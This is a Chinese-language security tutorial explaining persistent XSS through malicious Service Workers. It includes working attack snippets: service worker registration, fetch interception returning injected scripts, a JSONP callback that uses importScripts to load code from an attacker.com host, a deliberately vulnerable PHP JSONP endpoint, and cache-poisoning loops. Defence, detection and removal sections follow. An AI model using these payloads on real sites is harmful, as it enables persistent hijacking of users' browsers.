RootkitXSS之ServiceWorker
字数 1445 2025-08-27 12:33:42

Service Worker 持久化 XSS 攻击技术详解

1. Service Worker 基础概念

Service Worker (SW) 是一种特殊的 Web Worker,它本质上充当 Web 应用程序与浏览器之间的代理服务器,具有以下关键特性:

  • 可以拦截和处理网络请求
  • 能够访问 Cache Storage 进行资源缓存
  • 支持离线体验和后台同步
  • 生命周期独立于网页
  • 需要 HTTPS 环境(localhost 和 127.0.0.1 除外)

2. Service Worker 持久化 XSS 原理

利用 Service Worker 可以实现持久化 XSS 攻击,其核心原理是:

  1. 通过 XSS 漏洞注册恶意的 Service Worker
  2. Service Worker 会拦截指定或所有网络请求
  3. 返回攻击者构造的恶意响应
  4. 由于 Service Worker 的生命周期特性,即使页面刷新或重新打开,攻击依然有效

3. 攻击实现步骤

3.1 基本攻击流程

  1. 检查 Service Worker 支持
if ('serviceWorker' in navigator) {
    // 可以注册 Service Worker
}
  1. 注册恶意 Service Worker
navigator.serviceWorker.register('malicious-sw.js')
    .then(function(registration) {
        console.log('注册成功,作用域: ', registration.scope);
    });
  1. 编写恶意 Service Worker 脚本 (malicious-sw.js):
self.addEventListener('fetch', function(event) {
    // 拦截特定 URL 并返回恶意响应
    if (event.request.url.includes('vulnerable-page.html')) {
        event.respondWith(
            new Response('<script>alert("XSS")</script>', {
                headers: {'Content-Type': 'text/html'}
            })
        );
    }
});

3.2 通过 JSONP 漏洞注册 Service Worker

当存在不安全的 JSONP 接口时,可以构造特殊请求将 Service Worker 脚本作为回调:

var url = "//victim.com/jsonp?callback=importScripts('//attacker.com/malicious-sw.js')";
navigator.serviceWorker.register(url).then(...);

JSONP 接口示例(存在漏洞):

<?php
$cb_name = $_GET['callback']; // 未做安全过滤
header('Content-Type: application/javascript');
echo("$cb_name('data')");

3.3 Cache 缓存污染攻击

通过污染 Cache Storage 实现更持久的攻击:

  1. 基本缓存污染
self.addEventListener('fetch', function(event) {
    event.respondWith(
        caches.match(event.request).then(function(res) {
            if(res) return res;
            return requestBackend(event);
        })
    );
});

function requestBackend(event) {
    if(event.request.url.includes('target.js')) {
        return new Response("alert('XSS');", {headers: {'Content-Type': 'application/javascript'}});
    }
    return fetch(event.request).then(function(res) {
        // 正常缓存其他资源
        var response = res.clone();
        caches.open('v1').then(function(cache) {
            cache.put(event.request, response);
        });
        return res;
    });
}
  1. 持续缓存污染
async function persistentPollution() {
    const cacheName = 'v1';
    const targetUrl = 'target.js';
    const payload = `alert(1);`;
    
    let cache = await caches.open(cacheName);
    let req = new Request(targetUrl);
    let res = new Response(payload);
    
    // 定期刷新缓存
    setInterval(async () => {
        await cache.put(req, res.clone());
    }, 1000);
}
persistentPollution();

4. 攻击条件与限制

4.1 必要条件

  1. 存在可用的 XSS 漏洞
  2. Service Worker 脚本可控(直接或间接)
  3. 目标页面支持 HTTPS(或 localhost/127.0.0.1)

4.2 通过 JSONP 的额外要求

  1. 存在有缺陷的 JSONP 接口(未校验回调名)
  2. JSONP 接口返回 Content-Type 为 JavaScript 类型
  3. JSONP 接口路径尽可能浅(最好在根目录)

4.3 局限性

  1. 需要用户首次访问时存在 XSS 漏洞
  2. Service Worker 的作用域受注册路径限制
  3. 现代浏览器对 Service Worker 有严格的安全限制
  4. 用户可能手动清除 Service Worker

5. 防御措施

  1. 内容安全策略 (CSP)

    • 限制 Service Worker 的注册源
    • 示例:Content-Security-Policy: script-src 'self'
  2. 安全设置

    • 确保 JSONP 接口有严格的回调名过滤
    • 避免用户可控内容影响 Service Worker 注册
  3. 监控与审计

    • 定期检查已注册的 Service Worker
    • 监控异常的缓存行为
  4. 用户教育

    • 指导用户如何检查和清除恶意 Service Worker

6. 检测与清除

用户可以通过以下方式检查和管理 Service Worker:

  1. Chrome 地址栏访问:

    chrome://serviceworker-internals/
    
  2. 开发者工具 → Application → Service Workers

  3. 清除方法:

    navigator.serviceWorker.getRegistrations().then(function(registrations) {
        for(let registration of registrations) {
            registration.unregister();
        }
    });
    

7. 总结

Service Worker 持久化 XSS 是一种高级的客户端攻击技术,它利用浏览器缓存和请求拦截机制实现长期驻留。虽然攻击条件较为苛刻,但一旦成功危害较大。防御此类攻击需要综合运用 CSP、输入过滤和安全监控等多种手段。

Service Worker 持久化 XSS 攻击技术详解 1. Service Worker 基础概念 Service Worker (SW) 是一种特殊的 Web Worker,它本质上充当 Web 应用程序与浏览器之间的代理服务器,具有以下关键特性: 可以拦截和处理网络请求 能够访问 Cache Storage 进行资源缓存 支持离线体验和后台同步 生命周期独立于网页 需要 HTTPS 环境(localhost 和 127.0.0.1 除外) 2. Service Worker 持久化 XSS 原理 利用 Service Worker 可以实现持久化 XSS 攻击,其核心原理是: 通过 XSS 漏洞注册恶意的 Service Worker Service Worker 会拦截指定或所有网络请求 返回攻击者构造的恶意响应 由于 Service Worker 的生命周期特性,即使页面刷新或重新打开,攻击依然有效 3. 攻击实现步骤 3.1 基本攻击流程 检查 Service Worker 支持 : 注册恶意 Service Worker : 编写恶意 Service Worker 脚本 (malicious-sw.js): 3.2 通过 JSONP 漏洞注册 Service Worker 当存在不安全的 JSONP 接口时,可以构造特殊请求将 Service Worker 脚本作为回调: JSONP 接口示例(存在漏洞): 3.3 Cache 缓存污染攻击 通过污染 Cache Storage 实现更持久的攻击: 基本缓存污染 : 持续缓存污染 : 4. 攻击条件与限制 4.1 必要条件 存在可用的 XSS 漏洞 Service Worker 脚本可控(直接或间接) 目标页面支持 HTTPS(或 localhost/127.0.0.1) 4.2 通过 JSONP 的额外要求 存在有缺陷的 JSONP 接口(未校验回调名) JSONP 接口返回 Content-Type 为 JavaScript 类型 JSONP 接口路径尽可能浅(最好在根目录) 4.3 局限性 需要用户首次访问时存在 XSS 漏洞 Service Worker 的作用域受注册路径限制 现代浏览器对 Service Worker 有严格的安全限制 用户可能手动清除 Service Worker 5. 防御措施 内容安全策略 (CSP) : 限制 Service Worker 的注册源 示例: Content-Security-Policy: script-src 'self' 安全设置 : 确保 JSONP 接口有严格的回调名过滤 避免用户可控内容影响 Service Worker 注册 监控与审计 : 定期检查已注册的 Service Worker 监控异常的缓存行为 用户教育 : 指导用户如何检查和清除恶意 Service Worker 6. 检测与清除 用户可以通过以下方式检查和管理 Service Worker: Chrome 地址栏访问: 开发者工具 → Application → Service Workers 清除方法: 7. 总结 Service Worker 持久化 XSS 是一种高级的客户端攻击技术,它利用浏览器缓存和请求拦截机制实现长期驻留。虽然攻击条件较为苛刻,但一旦成功危害较大。防御此类攻击需要综合运用 CSP、输入过滤和安全监控等多种手段。